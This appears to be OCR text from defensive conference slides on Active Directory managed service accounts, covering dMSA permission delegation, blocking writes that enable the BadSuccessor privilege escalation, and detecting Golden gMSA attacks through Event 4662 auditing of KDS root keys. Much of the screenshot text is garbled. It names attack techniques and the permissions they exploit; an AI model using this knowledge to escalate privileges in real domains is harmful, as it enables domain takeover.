» & Domain Controllers Denied RODC Password Replicatio.. Security Group.., - AAD-CLOUD-SYNC 1 Builtin builtinDormain T Active Directory Users and Computer Norme Type Description
» (7] ForeignSecurityPrincipal: %DHCP Adrministrators Security Group... S| AAD-CONMECT-SYNC = c R Defaul S 1 Saved Queries ] ] ) 14
s = LostAndFound %DHCP Users Security Group.. “ Builtin — omputers ontainer ault ¢ - E)ADM For TierDa (TierD) User TierD | adm Account for ADM For TierDa (Tierl)
- ) | Computers i Demain Controllers Organizational... Default cd ¥ &3 ADTECNET &, ADM For TierDb (TierD) User Tier | adm Account for ADM For TierOb (TierD)
» | Managed Service Accour E.J DiscoverySearchMailbox {D919BA...  User =l P R o X 5 &1 AAD-CLOUD-SYNC
» 1 Managed Zervice Accour| 2% DnsAdmins Security Group.. =] Domain Controllers i ForeignSecurityPrincipals Container Default ¢ - AAD-CONNECT-SvnC 2, DSRM Placeholder Admin Account RODCs (TierD) User TierD | adm Account for DSRM Placehelder Admin Account RODCs (TierD)
> 1] Microsoft Exchange Sect|| % DnsUpdateProxy Security Group... “| ForeignSecurityPrincipaly| “— LostAndFounc! IostAn.dFound Default c v &1 AdminTiering &, DSRM Placeholder Admin Account RWDCs (Tier) User Tierd | adm Account for DSRM Placeholder Admin Account RWDCs (Tier0)
» &1 Org-ITMgmt [ Domain Admins Unknown 7| LestAndFound LI Managed Service Accounts Container Default ¢ - = Tierd &, EXAMPLE Admin Account 1 (TierD) User Tierd | adm Account for EXAMPLE Admin Account 1 (Tierd)
» [l Org-Users %Dnmam Computers Security Group... _| Managed Service Accour - ..T Managed Zervice Accounts Container = AdmAccounts E)Jorge de Almeida Pinto (RODCs) (Tierd) User TierD | adm Account for Jorge de Almeida Pinto (RODCs) (TierQ)
» | Program Data D Domain Centrollers Unknown _| Managed Zervice Accoul __' Microsoft Exchange Security Groups Organizational... » = gMSAs &Jorge de Almeida Pinto (RWDCs) (Tierl] User TierD | adm Account for Jorge de Almeida Pinto (RWDCs) (Tier0)
> & System 58 Domain Guests Security Group... a1 Microsoft Bxchange Sec. Org-TMgmt Organizational... 3 Groups E) Semperis DSP Admin Account (Tierd) User TierD | Semperis DSP Application Admin/Owner (ADM) - Used to perform the
» (@] TEST H2 Domain Users Security Group... o] Org-ITMgmt al Org-Users Organizational... 3 Servers
| Users D Enterprise Admins Unknown 2] Org-Users ] Program Data Container Default lo 3 :- SucAccounts
> '_. Microsoft Exchange Syst: D Enterprise Key Admins Unknown ~| Program Data = System Container Builtin sys » &) Workstations
> [0 RegisteredDevices % Enterprise Read-only Domain Con...  Security Group... — System [5] TEST Organizational... v 3 TIEr1
E.; Exchange Online-ApplicationAcco.. User :.7 TEST T Users Container Default » 2] AdmAccounts
58 External Trust Accounts Security Group... - Users [ Microsoft Exchange System Objects  msExchSystem... > gM5As
@, FederatedEmail Ac1f4d8b-8179-41,., User > [ Microsoft Bxchange Syst: 2 > [ Groups
58 Forest Trust Accounts Security Group... > [ RegisteredDevices I AdminTiering Unknown 5 2] Servers
%Group Policy Creator Owners Security Greup... NIrasLruciure INTra3srUCLUred, . 5 3] SvcAccounts
' Guest User [ keys Unknown > [2] Workstations
mins soko D NTDS Quotas Unknown M TlerZ
Unknown D TPM Devices Unknown > AdmAccounts
3 KIBTgL_ 1030 o > B gMSAs
= > [2] Groups
WU =dMaA-TES 5 WU =Urg-rinMgmt Ve =ALTEL LUL=ME ] ’ :. servers
> 2] SvcAccounts
CU=dMS5A-TESTs,CU=0rg-ITMgmt, DC=ADTEC DC=NET s &1 Workstations
OU=dMS5A-TESTs,0U=0rg-ITMgmt, DC=ADTEC, DC=NET il
OU =dMSA-TESTs,0U=0rg-ITMgmt DC=ADTEC, DC=MET ADTEC.NET/Org-ITMgmt/dMSA-TESTs organizatio| 7 [ Computers
CU=dMSA-TESTs,OU=0rg-TMgmt, DC=ADTEC, DC=NET ADTEC.NET/Qrg-ITMgmt/dMSA-TESTs organizatio
OU=dMSA-TESTs,0U=0rg-ITMgmt, DC=ADTEC, DC=NET ADTEC.NET/Crg-ITMgmt/dMSA-TESTs organizatioRaTomAE ADTECTBGACITADTELS GERENCAT Al Descendant msUs-Delegatedhan... Al Atnbutes
OU=dMSA-TESTs,0U=0rg-ITMgmt, DC=ADTEC, DC=NET ADTEC.NET/Crg-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTEC10 WriteDacl This Object Onl Mot Applicable
a9 g g9 gl g d] ¥ PP
OU=dMSA-TESTs, OU=0rg-ITMgmt, DC=ADTEC,DC=MNET ADTEC.NET/Org-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTECT1 WriteDacl This Object And All Descendant Objects Mot Applicable
g 9 g L 9 il ) PP
CU=dMSA-TESTs,OU=0rg-ITMgmt, DC=ADTEC,DC=MET ADTEC.NET/Org-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTEC12 WriteDacl All Descendant Objects Not Applicable
OU=dMSA-TESTs,OU=0rg-ITMgmt, DC=ADTEC, DC=NET ADTEC.NET/Crg-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTEC2 GenericAll All Descendant Objects All Attributes
] g gmt, . g L 9 il :
CU=dMSA-TESTs OU=0rg-ITMgmt, DC=ADTEC DC=NET ADTEC.NET/Crg-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTECS0 Owner Of..  Not Applicable Not Applicable w g ‘ ,
CU=dMSA-TESTs,CU=0rg-ITMgmt, DC=ADTEC DC=NET ADTEC.NET/Qrg-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTECD GenericAll This Object Onl All Attributes
g 9 g g 9 il i
CU=dM5A-TESTs,CU=0rg-ITMgmt, DC=ADTEC,DC=NET ADTEC.NET/Crg-ITMgmt/dMSA-TESTs organizationalUnit ADTEC\BdActrADTECT GenericAll This Object And All Descendant Objects  All Attributes

OU=dMSA-TESTs,OU= Org ITMgmt DC=ADTEC,DC=NET ADTEC. NETIOrg TNgmt..’dN“SA -TESTs organizationalUnit ADTEC\BdActrADTEC40 CreateChild  This Object Only (All Object Types) All Attributes



https://gist.github.com/zjorz/06a5cfa5211aaf40092effe9647fdd08

Migrating Service Accounts
Legacy = dMSA (

 Block writing values into
* “msDS-ManagedAccountPrecededByLink”
*  "'msDS-SupersededManagedServiceAccountLink’

* Impacts regular LDAP writes & unfortunately also writes through PoSH CMDlets

i |dape/fROFSRWDC1.ADTEC.NET/DC=ADTEC DC=NET _ O
! P

it Idaps//ROFSRWDC1.ADTEC.NET/DC=ADTEC, DC=NET

Expanding base "CN=ms-|
Getting 1 entries:
-Superseded-Managed-Ac 3 onfiguration, Dt
ion: This attribute is the Om ¢ unt to a delegated managed se

ema,CN=Configuration,

enChanged
whenCreated: 17-A 1 op L ms-LU = . WUTEL henCreated:
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Legacy = dMSA ( )
* Further Reading



https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
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https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
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https://www.semperis.com/blog/badsuccessor-how-to-detect-mitigate-dmsa-privilege-escalation/
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Auditing KDS Root Keys Access
Detecting Golden gMSA/dMSA Attacks

Access of any KDS Root Key by anyone is NOT audited in any way by default!

e

]

A
Vi

Ent 4662, Microsoft Windows security auditing.

An operation was performed on an object.

Subject
Security I0: ADTEC\bad.act0r
Account Name: bad.actlr
Account Domain: ADTEC

Legen ID: Ox12743F87

Upd

Object:

Object Server: Ds

Object Type: msKds-ProvRootkey

Object Name: CM=be3cf336-9db8-ef30-1efd-a28blac2d297, CN=Master
Root Keys, CN=Group Key Distribution

Service, CN=5ervices, CN=Configuration DC=ADTEC DC=MET
Handle ID: O

Operation:
Operation Type:
Accesses:

Object Access
Control Access

Access Mask: 0x100

Properties: Control Access

{a3a02fd41-17e0-4f18-8687-b2239649736b}

{771727b1-31b8-4cdf-aef2-4fe3%HadfBle}

{db2c48b2-d14d-ecde-3f58-ad579dBb440e}
{8a800772-f4b8-134f-bd1c-2e4271 effTaT}
{1702975d-225¢e-cb4a-b15d-0dacalb5e330}
{30b0%9d9-edfe-7543-bB0T7-ebadddda7ded}
{e338f470-39cd-4349-ab5b-f69f9e583fe0}
{615f42a1-37e7-1148-a0dd-3007e09cfcB1}

{d5f07340-ebb0-1eda-97be-0d3318bd9db1}
196400482- cf07-e94c-90e8-f2ef c4f0495e}
{6cdc047f-f522-b74a-9a0¢c-d95acBedfdal}

Log Name: Security
Source: Microsoft Windows security Logged: 10-Jun-2025 17:04:10
Event ID: 4662
Level: Information
User: N/A

OpCode: Info

Task Category: Directory Service Access

Keywords:
Computer:

Audit Success
ROFSRWDC1.ADTEC.NET

For Each KDS Root Key

Copy

{26627c27-08a2-0a40-a1b1-8dced5b42993} <-- msKds-RootKeyData

£f Event Properties - Event 4662, Microsoft Windows security auditing.

General Details

An operation was performed on an ohject.

Subject 5
Security 1D: ADTEC\bad.actOr
Account Name: bad.act0r
Account Domain: ADTEC

| to override aud|

Language (SDOL]

s system security

[CJowner

eroup [Joact  [JsacL

Logon [D: UnT 27 43HE

Object:

Object Server: Ds

Object Type: msKds-ProvRootKey

Object Name: CN=be3cf336-9db8-ef50- 1efd-a28b0ac2d297, CN=Master
Root Keys, CN=Group Key Distribution

Service, CN=5ervices, CN=Configuration, DC=ADTEC, DC=MET
Handle ID: (%]

Oper s
Operation Type:
Accesses:

Object Access
Read Property

Access Mask: Ox10
Properties: Read Property
{7T7T1727b1-31b8-4cdf-aeb2-4fe3%adf80e}

{aal2fd41-17e0-4f18-8687-b2239649736b}
Additional Information:

Parameter 1:
Parameter 2:

Log Name: Security
10-Jun-2025 17:04: 10
Task Category: Directory Service Access

Source: Microsoft Windows security Logged:
Event ID: 4662
Level: Infermation
User: N/
OpCode: Info

Audit Success
ROFSRWDC1.ADTEC.MET

Keywords:

Computer:

For Each KDS Root Key

{26627c27-08a2-0a40-a1b1-8dce85b42993} <-- msKds-RootKeyData

Fgory
it Detaile

it Directol
it Directo)

Bl Event Properties - Event 4662, Microsoft Windows security auditing.

General Details

An operation was performed on an object.

Subject
Security ID: SYSTEM
Account Name: ROFSRWDC1S
Account Domain: ADTEC
Logen ID: 012703789

Ohbject:

Object Server: Ds

Object Type: msKds-ProvRootKey

Object Name: CM=be3cf336-9db8-ef30-1efd-a28blac2d297, CN=Master
Root Keys, CN=Group Key Distribution
Service, CN=Services, CN=Configuration DC=ADTEC DC=MNET

Handle ID: [1%]

Operati

Operation Type:
Accesses:

Object Access
Control Access

Access Mask: 0100
Properties: Control Access
{771727b1-31b8-4cdf-aeb2-4fe3%adf80e}
{6cdcD47f-f322-b74a-9adc-dB5acBedfdal}
{ae18119f-6390-0045-b32d-97dbc/01aef7}
{aa02fd41-17e0-4f18-8687-b2239649736b}

Additional Information:
Parameter 1:
Parameter 2:

Log Name: Security
Source: Microsoft Windows security  Logged: 10-Jun-2025 17:10:57
Event ID: 4662
Level: Information
User: N/A

OpCode: Info

Task Category: Directory Service Access

Keywords:
Computer:

Audit Success
ROFSRWDC1.ADTEC.NET

For Each KDS Root Key

> Adding Audit Entry For Success ReadProperty, ExtendedRight By 'NT AUTHORITY\Authenticated Users' On 'msKds-RootKeyData'
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Managed Service Accounts

Container For sMSA/gMSA/dMSA

 Default Container in AD for sMSAs/gMSAs/dMSASs:
"CN=Managed Service Accounts,DC=<DOMAIN>,DC=<TLD>"
sMSAs/gMSAs/dMSAs can live in ANY other container or OU!

* NOT protected, can be deleted!
|t can be protected from deletion!

Eﬂ Active Directory Administrative Center

Managed Service Accounts Properties ? X Managed Service Accounts Properties ? X

vt Edtor (©)~  «ADTEC (local) » Deleted Objects - @) | Morose e

General
Atributes: _ )
H Active Directory... ¢ Deleted Objects (1)
Atribute
Managed Service Accounts
Mame Restore

F'| Managed Service Accounts ~ 5/27/2025 %12... DC=ADTECDC... Container Default container for Restare To..

e Parent

Ml Dynamic
rties

Cument: il Authentication A
= Deleted Objects

2 Global Search

New

inal: 1648

Delete

object from accidental deletion
rch under this node

Summary

WINDOWS POWERSHELL HISTORY
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Jorge de Almeida Pinto

Senior Incident Response Lead

LinkedIn http://tiny.cc/JorgeLinkedIn
Blog http://tiny.cc/JQFKblog

Twitter http://tiny.cc/JQFKtwitter
Website  https://www.semperis.com/
Blog https://www.semperis.com/blog/
Podcast  https://hipconf.com/

Contact jorged@semperis.com
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